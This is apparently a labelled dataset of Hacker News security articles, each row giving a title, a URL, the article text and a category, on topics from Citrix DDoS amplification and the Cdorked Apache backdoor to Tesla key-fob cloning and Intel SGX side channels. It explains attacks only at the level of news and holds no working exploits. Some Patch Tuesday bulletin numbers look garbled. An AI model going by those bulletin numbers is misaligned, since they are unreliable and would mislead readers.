Attackers Abusing Citrix NetScaler Devices to Launch Amplified DDoS Attacks,https://thehackernews.com/2020/12/citrix-adc-ddos-attack.html,"Citrix has issued an emergency advisory warning its customers of a security issue affecting its NetScaler application delivery controller (ADC) devices that attackers are abusing to launch amplified distributed denial-of-service (DDoS) attacks against several targets.
""An attacker or bots can overwhelm the Citrix ADC [Datagram Transport Layer Security] network throughput, potentially leading to outbound bandwidth exhaustion,"" the company noted. ""The effect of this attack appears to be more prominent on connections with limited bandwidth.""
ADCs are purpose-built networking appliances whose function is to improve the performance, security, and availability of applications delivered over the web to end-users.
The desktop virtualization and networking service provider said it's monitoring the incident and is continuing to investigate its impact on Citrix ADC, adding ""the attack is limited to a small number of customers around the world.""
The issue came to light after multiple reports of a DDoS amplify attack over UDP/443 against Citrix (NetScaler) Gateway devices at least since December 19, according to Marco Hofmann, an IT administrator for a German software firm ANAXCO GmbH.
Datagram Transport Layer Security or DTLS is based on the Transport Layer Security (TLS) protocol that aims to provide secure communications in a way that's designed to thwart prevent eavesdropping, tampering, or message forgery.
Since DTLS uses the connectionless User Datagram Protocol (UDP) protocol, it's easy for an attacker to spoof an IP packet datagram and include an arbitrary source IP address.
Thus when the Citrix ADC is flooded with an overwhelming flux of DTLS packets whose source IP addresses are forged to a victim IP address, the elicit responses lead to an oversaturation of bandwidth, creating a DDoS condition.
Citrix is currently working to enhance DTLS to eliminate the susceptibility to this attack, with an expected patch to be released on January 12, 2021.
To determine if a Citrix ADC equipment is targeted by the attack, Cisco recommends keeping an eye on the outbound traffic volume for any significant anomaly or spikes.
Customers impacted by the attack, in the meantime, can disable DTLS while a permanent fix from Citrix is pending by running the following command on the Citrix ADC: ""set vpn vserver <vpn_vserver_name> -dtls OFF.""

",Cyber_Attack
Here's how hackers are targeting Cisco Network Switches in Russia and Iran,https://thehackernews.com/2018/04/hacking-cisco-smart-install.html,"Since last week, a new hacking group, calling itself 'JHT,' hijacked a significant number of Cisco devices belonging to organizations in Russia and Iran, and left a message that reads—""Do not mess with our elections"" with an American flag (in ASCII art).

MJ Azari Jahromi, Iranian Communication and Information Technology Minister, said the campaign impacted approximately 3,500 network switches in Iran, though a majority of them were already restored.

The hacking group is reportedly targeting vulnerable installations of Cisco Smart Install Client, a legacy plug-and-play utility designed to help administrators configure and deploy Cisco equipments remotely, which is enabled by default on Cisco IOS and IOS XE switches and runs over TCP port 4786.

Some researchers believe the attack involves a recently disclosed remote code execution vulnerability (CVE-2018-0171) in Cisco Smart Install Client that could allow attackers to take full control of the network equipment.

However, since the hack apparently resets the targeted devices, making them unavailable, Cisco believes hackers have been merely misusing the Smart Install protocol itself to overwrite the device configuration, instead of exploiting a vulnerability.

""The Cisco Smart Install protocol can be abused to modify the TFTP server setting, exfiltrate configuration files via TFTP, modify the configuration file, replace the IOS image, and set up accounts, allowing for the execution of IOS commands,"" the company explains.

Chinese security firm Qihoo 360's Netlab also confirms that that hacking campaign launched by JHT group doesn't involve the recently disclosed code execution vulnerability; instead, the attack is caused due to the lack of any authentication in the Cisco smart install protocol, reported in March last year.

According to Internet scanning engine Shodan, more than 165,000 systems are still exposed on the Internet running Cisco Smart Install Client over TCP port 4786.

Since Smart Install Client has been designed to allow remote management on Cisco switches, system administrators need to enable it but should limit its access using Interface access control lists (ACLs).

Administrators who do not use the Cisco Smart Install feature at all should disable it entirely with the configuration command—""no vstack.""

Although recent attacks have nothing to do with CVE-2018-0171, admins are still highly recommended to install patches to address the vulnerability, as with technical details and proof-of-concept (PoC) already available on the Internet, hackers could easily launch their next attack leveraging this flaw.

",Cyber_Attack
Exploit Packs updated with New Java Zero-Day vulnerability,https://thehackernews.com/2013/01/exploit-packs-updated-with-new-java.html,"A new Java 0-day vulnerability has been discovered, already wind in use by an exploit pack, taking advantage of a fresh zero-day vulnerability in Java and potentially letting hackers take over users' machines.

Java 7 Update 10 and earlier contain an unspecified vulnerability that can allow a remote, unauthenticated attacker to execute arbitrary code on a vulnerable system. The flaw was first spotted by 'Malware Don't Need Coffee' blog. This vulnerability is being attacked in the wild, and is reported to be incorporated into exploit kits.


This exploit is already available in two Exploit Packs, that is available for $700 a quarter or $1,500 for a year. Similar tactics were used in CVE-2012-4681, which was discovered last August. Source of this new Exploit available to download Here.

The two most popular exploits packs used by hackers to distribute malware, the BlackHole Exploit Kit and the Cool Exploit Kit already having this latest Java Zero-Day exploit. Blackhole kit is usually installed on compromised websites and uses vulnerabilities in web browsers and other software to inject malware into visitors' PCs.

The creator of Blackhole, who uses the nickname 'Paunch,' announced yesterday on several Under web forums that the Java zero-day was a 'New Year's Gift,' to customers who use his exploit kit. Vulnerability was later confirmed by security firm AlienVault Labs, ""On the other hand we expect a Metasploit module in the upcoming days as it has been happening during the last year as well as most of the exploit kits adopting this new zeroday sooner than later.""

Last option for readers, deactivate the Java plugin in their browsers without delay.

",Vulnerability
New Apache backdoor serving Blackhole exploit kit,https://thehackernews.com/2013/04/new-apache-backdoor-serving-blackhole.html,"A new sophisticated and stealthy Apache backdoor meant to drive traffic to malicious websites serving Blackhole exploit kit widely has been detected by Sucuri recently. Researchers claimed that this backdoor affecting hundreds of web servers right now.

Dubbed Linux/Cdorked.A, one of the most sophisticated Apache backdoors we have seen so far. The backdoor leaves no traces of compromised hosts on the hard drive other than its modified httpd binary, thereby complicating forensics analysis. All of the information related to the backdoor is stored in shared memory.


The configuration is pushed by the attacker through obfuscated HTTP requests that aren't logged in normal Apache logs. The HTTP server is equipped with a reverse connect backdoor that can be triggered via a special HTTP GET request. This means that no command and control information is stored anywhere on the system.

ESET researchers analyzed the binary and discovered a nasty hidden backdoor. In the Linux/Cdorked binary all the important or suspicious strings are encrypted and analysed version contains a total of 70 strings that are encoded this way.

The backdoor will check if the URL, the server name, or the referrer matches any of the following strings : '*adm*', '*webmaster*', '*submit*', '*stat*', '*mrtg*', '*webmin*', '*cpanel*', '*memb*', '*bucks*', '*bill*', '*host*', '*secur*', '*support*'. This is probably done to avoid sending malicious content to administrators of the website, making the infection harder to spot.

Researchers also found 23 commands in Linux/Cdorked.A that can be sent to the server via a POST to a specially crafted URL ie. command list : 'DU', 'ST', 'T1′, 'L1′, 'D1′, 'L2′, 'D2′, 'L3′, 'D3′, 'L4′, 'D4′, 'L5′, 'D5′, 'L6′, 'D6′, 'L7′, 'D7′, 'L8′, 'D8′, 'L9′, 'D9′, 'LA', 'DA'.

When attackers get full root access to the server, they can do anything they want. From modifying configurations, to injecting modules and replacing binaries.

",Malware
Hackers Could Turn Pre-Installed Antivirus App on Xiaomi Phones Into Malware,https://thehackernews.com/2019/04/xiaomi-antivirus-app.html,"What could be worse than this, if the software that's meant to protect your devices leave backdoors open for hackers or turn into malware?

Researchers today revealed that a security app that comes pre-installed on more than 150 million devices manufactured by Xiaomi, China's biggest and world's 4th largest smartphone company, was suffering from multiple issues that could have allowed remote hackers to compromise Xiaomi smartphones.

According to CheckPoint, the reported issues resided in one of the pre-installed application called, Guard Provider, a security app developed by Xiaomi that includes three different antivirus programs packed inside it, allowing users to choose between Avast, AVL, and Tencent.

Since Guard Provider has been designed to offer multiple 3rd-party programs within a single app, it uses several Software Development Kits (SDKs), which according to researchers is not a great idea because data of one SDK cannot be isolated and any issue in one of them could compromise the protection provided by others.

""The hidden disadvantages in using several SDKs within the same app lie in the fact that they all share the app context and permissions,"" the security firm says.

""While minor bugs in each individual SDK can often be a standalone issue, when multiple SDKs are implemented within the same app it is likely that even more critical vulnerabilities will not be far off.""


It turns out that before receiving the latest patch, Guard Provider was downloading antivirus signature updates through an unsecured HTTP connection, allowing man-in-the-middle attackers sitting on open WiFi network to intercept your device's network connection and push malicious updates.

""Once connected to the same Wi-Fi network as the victim – say, in public places i.e. at restaurants, coffee shops, or malls – the attacker would be able to gain access to the phone owner's pictures, videos, and other sensitive data, or inject malware,"" CheckPoint told The Hacker News.

However, the actual attack scenario is not as straightforward as it may sound.

As explained by CheckPoint, researchers successfully achieved remote code execution on the targeted Xiaomi device after exploiting four separate issues in two different SDKs available in the app.

The attack basically leveraged the use of unsecured HTTP connection, a path-traversal vulnerability and lack of digital signature verification while downloading and installing an antivirus update on the device.

""It is completely understandable that users would put their trust in smartphone manufacturers' preinstalled apps, especially when those apps claim to protect the phone itself,"" the firm says.

Check Point reported the issues to the company and confirmed that Xiaomi has now fixed the issues in the latest version of its Guard Provider app.

So, if you own a Xiaomi smartphone you should make sure your security software is up-to-date.

",Vulnerability
New High-Severity Vulnerability Reported in Pulse Connect Secure VPN,https://thehackernews.com/2021/05/new-high-severity-vulnerability.html,"Ivanti, the company behind Pulse Secure VPN appliances, has published a security advisory for a high severity vulnerability that may allow an authenticated remote attacker to execute arbitrary code with elevated privileges.
""Buffer Overflow in Windows File Resource Profiles in 9.X allows a remote authenticated user with privileges to browse SMB shares to execute arbitrary code as the root user,"" the company said in an alert published on May 14. ""As of version 9.1R3, this permission is not enabled by default.""
The flaw, identified as CVE-2021-22908, has a CVSS score of 8.5 out of a maximum of 10 and impacts Pulse Connect Secure versions 9.0Rx and 9.1Rx. In a report detailing the vulnerability, the CERT Coordination Center said the issue stems from the gateway's ability to connect to Windows file shares through a number of CGI endpoints that could be leveraged to carry out the attack.
""When specifying a long server name for some SMB operations, the 'smbclt' application may crash due to either a stack buffer overflow or a heap buffer overflow, depending on how long of a server name is specified,"" CERT/CC detailed in a vulnerability note published on Monday, adding it was able to trigger the vulnerable code by targeting the CGI script '/dana/fb/smb/wnf.cgi.'
Pulse Secure customers are recommended to upgrade to PCS Server version 9.1R.11.5 when it becomes available. In the interim, Ivanti has published a workaround file ('Workaround-2105.xml') that can be imported to disable the Windows File Share Browser feature by adding the vulnerable URL endpoints to a blocklist and thus activate necessary mitigations to protect against this vulnerability.
It bears noting that users running PCS versions 9.1R11.3 or below would need to import a different file named 'Workaround-2104.xml,' necessitating that the PCS system is running 9.1R11.4 before applying the safeguards in 'Workaround-2105.xml.'
While Ivanti has recommended turning off Windows File Browser on the Admin UI by disabling the option 'Files, Window [sic]' for specific user roles, CERT/CC found the steps were inadequate to protect against the flaw during its testing.
""The vulnerable CGI endpoints are still reachable in ways that will trigger the 'smbclt' application to crash, regardless of whether the 'Files, Windows' user role is enabled or not,"" it noted.
""An attacker would need a valid DSID and 'xsauth' value from an authenticated user to successfully reach the vulnerable code on a PCS server that has an open Windows File Access policy.""
The disclosure of a new flaw arrives weeks after the Utah-based IT software company patched multiple critical security vulnerabilities in Pulse Connect Secure products, including CVE-2021-22893, CVE-2021-22894, CVE-2021-22899, and CVE-2021-22900, the first of which was found to be actively exploited in the wild by at least two different threat actors.

",Vulnerability
Tesla Model S Hack Could Let Thieves Clone Key Fobs to Steal Cars,https://thehackernews.com/2018/09/tesla-model-s-remote-hack.html,"Despite having proper security measures in place to protect the driving systems of its cars against cyber attacks, a team of security researchers discovered a way to remotely hack a Tesla Model S luxury sedans in less than two seconds.

Yes, you heard that right.

A team of researchers from the Computer Security and Industrial Cryptography (COSIC) group of the Department of Electrical Engineering at the KU Leuven University in Belgium has demonstrated how it break the encryption used in Tesla's Model S wireless key fob.

With $600 in radio and computing equipment that wirelessly read signals from a nearby Tesla owner's fob, the team was able to clone the key fob of Tesla's Model S, open the doors and drive away the electric sports car without a trace, according to Wired.

""Today it's very easy for us to clone these key fobs in a matter of seconds,"" Lennert Wouters, one of the KU Leuven researchers, told Wired. ""We can completely impersonate the key fob and open and drive the vehicle.""

Also Read: Researchers Show How to Steal Tesla Car by Hacking into Owner's Smartphone.

Tesla's Key Fob Cloning Attack Takes Just 1.6 Seconds

Like most automotive keyless entry systems, Tesla Model S key fobs also work by sending an encrypted code to a car's radios to trigger it to unlock the doors, enabling the car to start.
However, the KU Leuven researchers found that Tesla uses a keyless entry system built by a manufacturer called Pektron, which uses a weak 40-bit cipher to encrypt those key fob codes.

The researchers made a 6-terabyte table of all possible keys for any combination of code pairs, and then used a Yard Stick One radio, a Proxmark radio, and a Raspberry Pi mini-computer, which cost about $600 total—not bad for a Tesla Model S though—to capture the required two codes.

With that table and those two codes, the team says it can calculate the correct cryptographic key to spoof any key fob in just 1.6 seconds. To understand more clearly, you can watch the proof of concept video demonstration which shows the hack in action.

The team reported the issue to Tesla last year, but the company addressed it in June 2018 by upgrading the weak encryption. Last month, the company also added an optional PIN as an additional defense.

Tesla Paid $10,000 Bounty to the Researchers

After the story broke, Tesla was criticised on Twitter for using a weak cipher, though a member of the KU Leuven team appreciated Tesla for quickly responding to their report and fixing the issue,, on the same time, accused other vehicle makers using keyless entry tech from the same vendor and ignoring reports.

Also Read: Hackers take Remote Control of Tesla's Brakes and Door locks from 12 Miles Away.

""Everybody is making fun of Tesla for using a 40-bit key (and rightly so),"" Cryp·tomer tweeted. ""But Tesla at least had a mechanism we could report to and fixed the problem once informed. McLaren, Karma, and Triumph used the same system and ignored us.""

Tesla paid the KU Leuven team a $10,000 bounty and plans to add the researchers' names to its Hall of Fame.
",Vulnerability
KILLER! Unpatched WinRAR Vulnerability Puts 500 Million Users At Risk,https://thehackernews.com/2015/09/winrar-vulnerability.html,"Beware Windows Users!

A new dangerous unpatched Zero-day Vulnerability has been detected in the latest version of WinRAR affects over millions of users worldwide.

According to Mohammad Reza Espargham, a security researcher at Vulnerability-Lab, the stable version of WinRAR 5.21 for Windows computers is vulnerable to Remote Code Execution (RCE) flaw.

WinRAR is one of the most popular utility program used to compress and decompress files with more than 500 Million installations worldwide.

The WinRAR RCE vulnerability lie under the 'High Severity' block, and scores 9 on CVSS (Common Vulnerability Scoring System).

HOW WINRAR VULNERABILITY WORKS?

Let's take a look at its actions.

The vulnerability can be used by any attacker smartly to insert a malicious HTML code inside the ""Text to display in SFX window"" section when the user is creating a new SFX file.

WinRAR SFX is an executable compressed file type containing one or more file and is capable of extracting the contents of its own.

According to proof-of-concept video published by Espargham, latest WinRAR vulnerability allows remote hackers to execute arbitrary code on a victim's computer when opening an SFX file (self-extracting file).

Successful Exploitation requires low user interaction, and results in compromising users':
System
Network
Devic
The major disadvantage arises because of SFX files, as they start functioning as soon as the user clicks on them. Therefore, users cannot identify and verify if the compressed executable file is a genuine WinRAR SFX module or a harmful one.

NO PATCH YET AVAILABLE

Unfortunately, there is no patch yet available to fix this vulnerability. However, Windows users are advised to:
Use an alternate archiving software
Do not click files received from unknown sources
Use strict authentication methods to secure your system
""As for any exe file, users must run SFX archives only if they are sure that such archive is received from a trustworthy source. SFX archive can silently run any exe file contained in an archive, and this is the official feature needed for software installers"", WinRAR developer team at RARLAB quoted.

",Vulnerability
16 Million German Users' Data Compromised in mysterious Botnet Malware attack,https://thehackernews.com/2014/01/16-million-german-users-data.html,"A New day begins with a Cup of Coffee and with new massive Data Breach News.

This time in Germany, the Digital identities of about 16 million online users had been stolen, and posing a risk to their accounts linked to social media and other services.

Federal Office for Information Security (BSI) discovered a security breach after running an analysis of the botnet network of computers infected with malware.

The compromised accounts have email addresses as their username and also the passwords were stolen, that could also be sold to spammers and people looking to ""phish"" account holders.

Until now it hasn't been known that how and when the analysis was carried out and who exactly were involved behind this massive data breach, as the BSI refused to give details on the source of the information.

Authorities have set up a German-language website which allows users to enter their email address and check whether their email accounts are compromised or not.

The officer advised those with compromised email addresses to change their passwords of ""social networking sites, online shops, email accounts and other online services;"" and check their computers for malware and viruses and also assured the user that they are taking necessary security measures against it.

An Agency spokesman, Tim Griese, said about half the accounts have '.de' domain-name endings, denoting German-based accounts, and it appears the majority of users are in Germany, RT reports.

Data breach has become a burning issue these days, and a problem which is skyrocketing!

",Data_Breaches
Zero-Day Exploits for Stealing OS X and iOS Passwords,https://thehackernews.com/2015/06/iphone-password-hacking.html,"I think you'll agree with me when I say: Apple devices are often considered to be more safe and secure than other devices that run on platforms like Windows and Android, but a recent study will make you think twice before making this statement.

A group of security researchers have uncovered potentially deadly zero-day vulnerabilities in both iOS and OS X operating systems that could put iPhone/iPad or Mac owners at a high risk of cyber attacks.

Researchers have created and published a malicious app on the App Store that was able to siphon users' personal data from the password storing Keychain in Apple's OS X, as well as steal passwords from iCloud, banking and email accounts.

Dubbed XARA (cross-app resource access), the malware exploit app was able to bypass the OS X sandboxing mechanisms that are supposedly designed to prevent an app from accessing the credentials, contacts, and other important data related to other apps.

The Consequences are Dire!

In their paper, titled ""Unauthorized Cross-App Resource Access on MAC OS X and iOS"" [PDF], the researchers claim that once installed, their app can obtain data from applications such as Dropbox, Facebook and Evernote, along with the popular messaging app WeChat, and even siphon passwords from 1Password.
""The consequences are dire,"" researchers wrote in the paper. ""For example, on the latest Mac OS X 10.10.3, our sandboxed app successfully retrieved from the system's keychain the passwords and secret tokens of iCloud, email and all kinds of social networks...bank and Gmail passwords from Google Chrome.""
The Researchers also noted that the hack attack is only possible when the attributes of the victim's keychain item are predictable. However, most of the services share the same name across Keychain stores.

The Keychain issue stems from its inability to verify which app owns a credential in Keychain, and even the OS doesn't check for any suspicious activity.

Bypassed Apple's App Store Security Checks

The malicious app was also able to bypass the Apple's App store security checks that are designed to ensure one app can not gain access to other apps' data without permission.

However, the more worrisome part regarding the malicious app is that it was approved by Apple for placement in its App Store, which is supposed to be pre-examine by Apple security engineers for potentially malicious apps.

Apple did not immediately respond to a request for comment.

The zero-day flaws discovered by the Indiana University boffins Xing; Xiaolong Bai; XiaoFeng Wang; and Kai Chen joined Tongxin Li, of Peking University, and Xiaojing Liao, of Georgia Institute of Technology, was reported to Apple last October, but the company requested a 6 month period before making it public.

However, according to their paper, the issues persist and millions of Apple users can still be affected by these zero-day flaws.

How to Protect your Devices

A system-wide update to Apple's OS X and iOS is the only way to protect yourself fully against these vulnerabilities, the researchers said. However, we are patiently waiting to hear from Apple that how it's planning to resolve this huge issue.

To protect yourselves against such vulnerabilities, users of all operating system platforms are advised to limit the apps they install on their devices to those that are needed and explicitly trusted.

",Malware
Google Apps Flaw Allowed Hacker to Hijack Account and Disable Two-factor Authentication,https://thehackernews.com/2015/01/google-account-hacking.html,"A critical cross-site scripting (XSS) vulnerability in the Google Apps administrator console allowed cyber criminals to force a Google Apps admins to execute just about any request on the https://admin.google.com/ domain.

The Google Apps admin console allows administrators to manage their organization's account. Administrators can use the console to add new users, configure permissions, manage security settings and enable Google services for your domain. The feature is primarily used by many businesses, especially those using Gmail as the e-mail service for their domain.

The XSS flaw allowed attackers to force the admin to do the following actions:
Creating new users with ""super admin"" rights
Disabling two-factor authentication (2FA) and other security measures from existing accounts or from multiple domains
Modifying domain settings so that all incoming e-mails are redirected to addresses controlled by the attacker
Hijack an account/email by resetting the password, disabling 2FA, and also removing login challenges temporarily for 10 minutes
This new zero-day vulnerability was discovered and privately reported by application security engineer Brett Buerhaus to Google on September 1 and the company fixed the flaw within 17 days. In exchange for the report, Google paid the researcher $5,000 as a reward under its bug bounty program.

According to the researcher, when users access a service that hasn't been configured for their domain, they are presented with a ""ServiceNotAllowed"" page. This page allows users to switch between accounts in order to log in to the service.

However, when one of the accounts was selected, a piece of JavaScript code was executed in an attempt to redirect the user's Web browser. JavaScript code could be supplied by the user in the ""continue"" request parameter of the URL, which allowed XSS attacks.
""The continue request parameter is fairly common request variable in the Google login flow,"" Buerhaus explained in a blog post published on Wednesday. ""This is the only page that I could find that did not validate the URL passed into it. This allowed you to craft Cross-Site Scripting attacks by using ""javascript:"" as part of the URL and it would execute when the browser location is redirected.""
Patching the vulnerability on the 17th day after reported to the company shows the search engine giant's concern to secure its software and users as well.

However, the recent vulnerability troubles visited Microsoft exposed one-after-one three serious zero-day vulnerabilities in Windows 7 and 8.1 operating systems, reported by Google's Project Zero team. Microsoft wasn't able to fix the security flaws in its software even after a three-month-long time period provided to the company.

",Vulnerability
New Rapidly-Growing IoT Botnet Threatens to Take Down the Internet,https://thehackernews.com/2017/10/iot-botnet-malware-attack.html,"Just a year after Mirai—biggest IoT-based malware that caused vast Internet outages by launching massive DDoS attacks—completed its first anniversary, security researchers are now warning of a brand new rapidly growing IoT botnet.

Dubbed 'IoT_reaper,' first spotted in September by researchers at firm Qihoo 360, the new malware no longer depends on cracking weak passwords; instead, it exploits vulnerabilities in various IoT devices and enslaves them into a botnet network.

IoT_reaper malware currently includes exploits for nine previously disclosed vulnerabilities in IoT devices from following manufactures:
Dlink (routers)
Netgear (routers)
Linksys (routers)
Goahead (cameras)
JAWS (cameras)
AVTECH (cameras)
Vacron (NVR)
Researchers believe IoT_reaper malware has already infected nearly two million devices and growing continuously at an extraordinary rate of 10,000 new devices per day.

This is extremely worrying because it took only 100,000 infected devices for Mirai to took down DNS provider Dyn last year using a massive DDoS attack.

Besides this, researchers noted that the malware also includes more than 100 DNS open resolvers, enabling it to launch DNS amplification attacks.
""Currently, this botnet is still in its early stages of expansion. But the author is actively modifying the code, which deserves our vigilance."" Qihoo 360 researchers say.
Meanwhile, researchers at CheckPoint are also warning of probably same IoT botnet, named ""IoTroop,"" that has already infected hundreds of thousands of organisations.
""It is too early to guess the intentions of the threat actors behind it, but with previous Botnet DDoS attacks essentially taking down the Internet, it is vital that organisations make proper preparations and defence mechanisms are put in place before attack strikes."" researchers said.
According to CheckPoint, IoTroop malware also exploits vulnerabilities in Wireless IP Camera devices from GoAhead, D-Link, TP-Link, AVTECH, Linksys, Synology and others.

At this time it is not known who created this and why, but the DDoS threat landscape is skyrocketing and could reach tens of terabits-per-second in size.

""Our research suggests we are now experiencing the calm before an even more powerful storm. The next cyber hurricane is about to come."" CheckPoint researchers warned.

You need to be more vigilant about the security of your smart devices. In our previous article, we have provided some essential, somewhat practical, solutions to protect your IoT devices.

Also Read: How Drones Can Find and Hack Internet-of-Things Devices From the Sky.

",Malware
Oracle Database stealth password cracking vulnerability,https://thehackernews.com/2012/09/oracle-database-stealth-password.html,"Oracle suffered with serious vulnerability in the authentication protocol used by some Oracle databases. This Flaw enable a remote attacker to brute-force a token provided by the server prior to authentication and determine a user's password.

A researcher - Esteban Martinez Fayo, a researcher with AppSec tomorrow will demonstrate a proof-of-concept attack.

Martinez Fayo and his team first reported the bugs to Oracle in May 2010. Oracle fixed it in mid-2011 via the 11.2.0.3 patch set, issuing a new version of the protocol. ""But they never fixed the current version, so the current 11.1 and 11.2 versions are still vulnerable,"" Martinez Fayo says, and Oracle has no plans to fix the flaws for version 11.1.

The first step in the authentication process when a client contacts the database server is for the server to send a session key back to the client, along with a salt. The vulnerability enables an attacker to link a specific session key with a specific password hash.

There are no overt signs when an outsider has targeted the weakness, and attackers aren't required to have ""man-in-the-middle"" control of a network to exploit it. ""Once the attacker has a Session Key and a Salt (which is also sent by the server along with the session key), the attacker can perform a brute force attack on the session key by trying millions of passwords per second until the correct one is found. This is very similar to a SHA-1 password hash cracking. Rainbow tables can' t be used because there is a Salt used for password hash generation, but advanced hardware can be used, like GPUs combined with advanced techniques like Dictionary hybrid attacks, which can make the cracking process much more efficient.""

""I developed a proof-of-concept tool that shows that it is possible to crack an 8 characters long lower case alphabetic password in approximately 5 hours using standard CPUs.""

Because the vulnerability is in a widely deployed product and is easy to exploit, Fayo said he considers it to be quite dangerous.

",Vulnerability
"Microsoft, Adobe and Mozilla issue Critical Security Patch Updates",https://thehackernews.com/2015/05/microsoft-adobe-mozilla-update.html,"This week you have quite a long list of updates to follow from Microsoft, Adobe as well as Firefox.

Despite announcing plans to kill its monthly patch notification for Windows 10, the tech giant has issued its May 2015 Patch Tuesday, releasing 13 security bulletins that addresses a total of 48 security vulnerabilities in many of their products.

Separately, Adobe has also pushed a massive security update to fix a total of 52 vulnerabilities in its Flash Player, Reader, AIR and Acrobat software.

Moreover, Mozilla has fixed 13 security flaws in its latest stable release of Firefox web browser, Firefox 38, including five critical flaws.

First from the Microsoft's side:

MICROSOFT PATCH TUESDAY

Three out of 13 security bulletins issued by the company are rated as 'critical', while the rest are 'important' in severity, with none of these vulnerabilities are actively exploited at this time.

The affected products include Internet Explorer (IE), current versions of Windows (and its components), Office, SharePoint Server, Silverlight and the .NET Framework as well.

The bulletin rated Critical bundles:
MS15-943 – A cumulative update for Internet Explorer that patches 22 separate flaws, including 14 memory corruption bugs and the most critical one that include remote code execution vulnerabilities.
MS15-944 – It patches two flaws in the OpenType and TrueType font rendering code that could be exploited in .NET Framework, Lync, Office, Windows, and Silverlight. The most critical of which includes remote code execution.
MS15-945 – It patches six flaws in Windows Journal program, which comes installed by default in all supported client versions of Windows. All the six flaws could allow remote code execution.


The bulletin rated Important bundles:

MS15-946 – Fixes a pair of vulnerabilities in Office allowing remote code execution.
MS15-947 – Patches one remote code execution vulnerability in SharePoint.
MS15-948 – Patches a pair of vulnerabilities in the .NET Framework allowing denial of service (DoS) and elevation of privilege.
MS15-949 – Fixes one elevation of privilege bug in Silverlight.
MS15-950 – Fixes one elevation of privilege flaw in Windows Service Control Manager.
MS15-951 –MS15-951 – Patches six vulnerabilities in Windows Kernel allowing information disclosure and elevation of privilege.
MS15-952 – Fixes one security bypass flaw in Windows Kernel.
MS15-953 – Patches a pair of security bypass vulnerabilities in VBScript.
MS15-954 – Fixes one denial of service (DoS) bug in the Microsoft Management Console.
MS15-955 – Patches one vulnerability in Schannel allowing for information disclosure.


The company advised users and administrators to test and install the updates as soon as possible. This May Patch Tuesday 2015 could be one of the last patch Tuesdays by Microsoft.

ADOBE PATCH UPDATES

On Wednesday, Adobe released its recent set of security updates for the Adobe Flash Player, Adobe Reader and Acrobat software, including patches for some critical vulnerabilities.

Adobe patches at least 18 security holes in its Flash Player and AIR software. The updates are available for Windows, Mac OS X and Linux versions of the software, addressing ""vulnerabilities that could potentially allow an attacker to take control of the affected system,"" according to the company.

The Flash Player update addresses:

A number of remote code execution vulnerabilities
Four memory corruption vulnerabilities
One heap overflow vulnerability
One integer overflow bug
Three type confusion flaws
One use-after-free vulnerability
A time-of-check time-of-use (TOCTOU) race condition that bypasses Protected Mode in Internet Explorer
Validation bypass issues that could be exploited to write arbitrary data to the file system under user permissions
Memory leak vulnerabilities that could be used to bypass ASLR (Address Space Layout Randomization)
One security bypass vulnerability that could lead to information leaks


Affected Flash Player Versions:

Adobe Flash Player version 17.0.0.169 and earlier
Adobe Flash Player version 13.0.0.281 and earlier 13.x versions
Adobe Flash Player version 11.2.202.457 and earlier 11.x versions
AIR Desktop Runtime 17.0.0.144 and earlier versions
AIR SDK and SDK & Compiler 17.0.0.144 and earlier versions


Adobe Reader and Acrobat update addresses:

Critical remote code execution vulnerabilities
Five use-after-free vulnerabilities
Heap-based buffer overflow vulnerabilities
One buffer overflow vulnerability
Ten memory corruption vulnerabilities


Affected Adobe Reader and Acrobat Versions:

Adobe Reader XI (11.0.10) and earlier 11.x versions
Reader X (10.1.13) and earlier 10.x versions
Acrobat XI (11.0.10) and earlier 11.x versions
Acrobat X (10.1.13) and earlier 10.x versions


Adobe Acrobat Reader DC has not been affected in this security update.

Also, the latest Adobe update also resolves:

Various methods to bypass JavaScript API execution restrictions
A memory leak issue
A null-pointer dereference issue that could lead to a denial-of-service (DoS) attacks
An information disclosure bug in the handling of XML external entities that could lead to information disclosure


The company recommends its users to accept automatic updates for the Adobe Flash Player desktop runtime for Windows and Mac OS X when prompted or update manually via the Adobe Flash Player Download Center.

MOZILLA UPDATES

Mozilla addresses five critical flaws, five high-risk bugs and two moderately rated vulnerabilities in its Firefox 38.

One of the serious problems it fixes resides in Firefox 38 – An out-of-bounds read and write vulnerability in the JavaScript subset ""asm.js"" during the validation procedure, whose exploitation could lead an attacker to read parts of the memory that may contain users sensitive data.

Among the critical vulnerabilities is a buffer overflow in the way the browser parses compressed XML, which have been fixed in the latest Firefox 38 update.

The most important update in Firefox is that the new version of the browser includes a feature that enables the use of DRM-enabled (Digital Rights Management-enabled) video content in Firefox.

The latest Firefox browser update also includes an integration with the Adobe Content Decryption Module (CDM), allowing users to play DRM-wrapped content in HTML5 video tag.
""A year ago, we announced the start of efforts to implement support for a component in Firefox that would allow content wrapped in Digital Rights Management (DRM) to be played within the HTML5 video tag. This was a hard decision,"" the company states in the blog post.
""As we explained then, we are enabling DRM to provide our users with the features they require in a browser and allow them to continue accessing premium video content. We don't believe DRM is a desirable market solution, but it's currently the only way to watch a sought-after segment of content.""
To reimburse, Mozilla has also designed a sandbox that encompasses the CDM, restricting interaction with sensitive parts of the system and the browser. In addition, the Mozilla developer is also offering a version of Firefox 38 that doesn't include the CDM component from the browser.

",Vulnerability
Intel CPUs Vulnerable to New 'SGAxe' and 'CrossTalk' Side-Channel Attacks,https://thehackernews.com/2020/06/intel-sgaxe-crosstalk-attacks.html,"Cybersecurity researchers have discovered two distinct attacks that could be exploited against modern Intel processors to leak sensitive information from the CPU's trusted execution environments (TEE).

Called SGAxe, the first of the flaws is an evolution of the previously uncovered CacheOut attack (CVE-2020-0549) earlier this year that allows an attacker to retrieve the contents from the CPU's L1 Cache.

""By using the extended attack against the Intel-provided and signed architectural SGX enclaves, we retrieve the secret attestation key used for cryptographically proving the genuinity of enclaves over the network, allowing us to pass fake enclaves as genuine,"" a group of academics from the University of Michigan said.

The second line of attack, dubbed CrossTalk by researchers from the VU University Amsterdam, enables attacker-controlled code executing on one CPU core to target SGX enclaves running on a completely different core, and determine the enclave's private keys.

A TEE, like Intel's Software Guard Extensions (SGX), refers to a secure enclave, an area within a processor that ensures confidentiality and integrity of code and data. It offers safeguards against the modification of sensitive software and data by malicious actors that may have broken into the target (virtual) machine.

SGAxe Attack: Extracting Sensitive Data From SGX Enclaves

SGAxe builds on the CacheOut speculative execution attack to steal SGX data. According to the researchers, while Intel took steps to address side-channel attacks against SGX via several microcode updates and new architectures, the mitigations have proven ineffective.

That exploit, as a result, results in a transient execution attack that can recover SGX cryptographic keys from a fully updated Intel machine, which is trusted by Intel's attestation server.

